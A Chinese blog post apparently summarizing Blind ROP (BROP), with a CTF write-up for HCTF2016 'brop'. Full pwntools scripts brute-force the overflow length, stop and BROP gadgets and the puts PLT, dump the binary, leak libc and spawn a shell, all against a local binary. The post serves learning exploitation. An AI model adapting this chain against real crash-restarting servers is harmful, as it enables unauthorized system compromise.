PWN学习总结(四)—— BROP

描述

  1. BROP(Blind ROP)于 2014 年由 Standford 的 Andrea Bittau 提出,其相关研究成果发表在 Oakland 2014
  2. 在 CTF 中,BROP 技术一般在出题方未提供二进制文件的情况下进行使用

利用条件

  1. 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程
  2. 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)
  3. 目前 nginx、MySQL、Apache、OpenSSH 等服务器应用都符合这种特性

攻击思路

  1. 判断栈溢出长度,如有必要可以通过栈溢出来泄露 canaries、rbp 和返回地址
  2. 寻找能够返回到 main 函数的 gadgets(通常称为 stop_gadget
  3. 寻找 brop gadgets(例如 __libc_csu_init 中的 gadgets),定位 pop rdi ; ret 的地址
  4. 寻找 puts 或 write 函数的 plt,用于 leak 其它地址的值
  5. dump plt 表,用于 leak 所需函数的 got 地址
  6. 通过 leak 到的 got 地址,找到对应 libc 版本,通过 libc 执行系统命令进行 getshell

例题

平台:HCTF2016
题目:brop

判断栈溢出长度

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'

def GetBufLength():
	i = 1
	while 1:
		try:
			sh = process('./brop')	
			sh.recvuntil('Do you know password?\n')
			payload = 'a' * i
			sh.send(payload)
			output = sh.recv()
			#未成功返回到main函数
			if not output.startswith('No password'):
				return i - 1
			else:
				i += 1
		#触发栈溢出异常
		except EOFError:
			sh.close()
			return i - 1

buf_length = GetBufLength()
print(buf_length)

buf_length

寻找 stop gadgets

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'

buf_length = 72

def GetStopAddr():
	address = 0x400000
	while 1:
		print(hex(address))
		try:
			sh = process('./brop')
			sh.recvuntil('Do you know password?\n')
			payload = 'a'*buf_length + p64(address)
			sh.send(payload)
			output = sh.recv()
			#未成功返回到main函数头部开始执行
			if not output.startswith('WelCome my friend'):
				sh.close()
				address += 1
			else:
				return address
		#触发栈溢出异常
		except EOFError:
			address += 1
			sh.close()

stop_gadgets = GetStopAddr()
print('stop gadgets = 0x%x' % stop_gadgets)

stop_gadgets

寻找 brop gadgets

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'

def GetBropGadgets(buf_length, stop_gadgets, address):
	try:
		sh = process('./brop')
		sh.recvuntil('Do you know password?\n')
		#寻找 pop_rbx_rbp_r12_r13_r14_r15_ret
		payload = 'a'*buf_length + p64(address) + p64(0)*6 + p64(stop_gadgets)
		sh.sendline(payload)
		output = sh.recv(timeout=1)
		sh.close()
		if not output.startswith('WelCome my friend'):
			return False
		return True
	except Exception:
		sh.close()
		return False
		
def check(buf_length, address):
	try:
		sh = process('./brop')
		sh.recvuntil('Do you know password?\n')
		payload = 'a'*buf_length + p64(address) + p64(0)*7
		sh.sendline(payload)
		output = sh.recv(timeout=1)
		sh.close()
		return False
	except Exception:
		sh.close()
		return True

buf_length   = 72
stop_gadgets = 0x4005d0
address      = 0x400500

while 1:
	print(hex(address))
	if GetBropGadgets(buf_length, stop_gadgets, address):
		print('possible brop gadget: 0x%x' % address)
		if check(buf_length, address):
			print('success brop gadget: 0x%x' % address)
			break
	address += 1

brop gadgets

寻找 puts 函数的 plt 地址

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'

buf_length   = 72
stop_gadgets = 0x4005d0
brop_gadgets = 0x4007ba
pop_rdi_ret  = brop_gadgets + 9

def GetPutsPlt():
	addr = 0x400500
	while 1:
		print(hex(addr))
		try:
			sh = process('./brop')
			sh.recvuntil('Do you know password?\n')
			payload = 'a'*buf_length + p64(pop_rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadgets)
			sh.sendline(payload)
			output = sh.recv()
			sh.close()
			if output.startswith('\x7fELF'):
				print('puts plt address = 0x%x' % addr)
				return addr
			addr += 1
		except Exception:
			sh.close()
			addr += 1

GetPutsPlt()

puts_plt

寻找 puts 函数的 got 地址并 dump plt 表

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'

def leak(buf_length, pop_rdi_ret, leak_addr, puts_plt, stop_gadgets):
	sh = process('./brop')
	sh.recvuntil('Do you know password?\n')
	payload = 'a'*buf_length + p64(pop_rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadgets)
	sh.send(payload)
	try:
		data = sh.recvuntil('\nWelCome my friend', drop=True)
		sh.close()
		if data == "":
			data = '\x00'
		sh.close()
		return data
	except:
		sh.close()
		return None
	
buf_length   = 72
stop_gadgets = 0x4005d0
brop_gadgets = 0x4007ba
pop_rdi_ret  = brop_gadgets + 9
puts_plt     = 0x400565

leak_addr    = 0x400000
result = ""
while leak_addr < 0x401000:
	print(hex(leak_addr))
	data = leak(buf_length, pop_rdi_ret, leak_addr, puts_plt, stop_gadgets)
	if data is None:
		continue
	else:
		result += data
	leak_addr += len(data)
	
with open('./code','wb') as f:
	f.write(result)

使用 IDA 分析 DUMP 出来的数据

Rebase program
在这里插入图片描述
在这里插入图片描述
puts_got

getshell

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'

sh = process('./brop')

buf_length   = 72
stop_gadgets = 0x4005d0
brop_gadgets = 0x4007ba
pop_rdi_ret  = brop_gadgets + 9
puts_plt     = 0x400565
puts_got     = 0x601018

sh.recvuntil('Do you know password?\n')

payload  = 'a' * buf_length
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload += p64(stop_gadgets)

sh.sendline(payload)
puts_addr = u64(sh.recvuntil('\nWelCome my friend', drop=True).ljust(8, '\x00'))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')

#####################################################

system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

sh.recvuntil('Do you know password?\n')

payload  = 'a' * buf_length
payload += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr) + p64(stop_gadgets)

#pwnlib.gdb.attach(proc.pidof(sh)[0]) 
sh.sendline(payload)
sh.interactive()

getshell

  • 4
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
你好!很高兴回答你的问题。关于软件安全实验二中的攻击方式Pwn,我可以为你提供一些基本的信息。Pwn是指通过利用软件漏洞来获取对计算机系统的控制权。在实验二中,你可能会学习和尝试使用缓冲区溢出漏洞、格式化字符串漏洞、堆溢出等技术来进行Pwn攻击。 缓冲区溢出是一种常见的Pwn攻击技术,它利用了程序在处理输入数据时没有正确限制长度的漏洞。通过向程序输入过长的数据,可以覆盖到程序运行时的内存空间中的其他重要数据,例如返回地址。通过修改返回地址,攻击者可以控制程序流程,执行恶意代码。 格式化字符串漏洞是另一种常见的Pwn攻击技术。它利用了C语言的格式化字符串函数(如printf、sprintf等)在处理格式化字符串时存在的安全问题。通过向程序输入特定格式的字符串,攻击者可以读取或修改内存中的数据,甚至执行任意代码。 堆溢出是利用堆内存管理中的漏洞进行攻击的一种技术。在使用动态分配内存时,如果没有正确地释放或管理内存,可能会导致堆溢出。通过在堆中溢出写入数据,攻击者可以修改关键数据结构,从而影响程序的执行逻辑。 以上只是Pwn攻击的一些基本概念,实际的Pwn攻击还涉及很多技术和细节。在进行任何Pwn攻击之前,请务必遵循法律和道德规范,并确保你在合法授权的环境中进行实验。 如果你有任何关于Pwn攻击或软件安全实验的具体问题,我会尽力为你解答。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值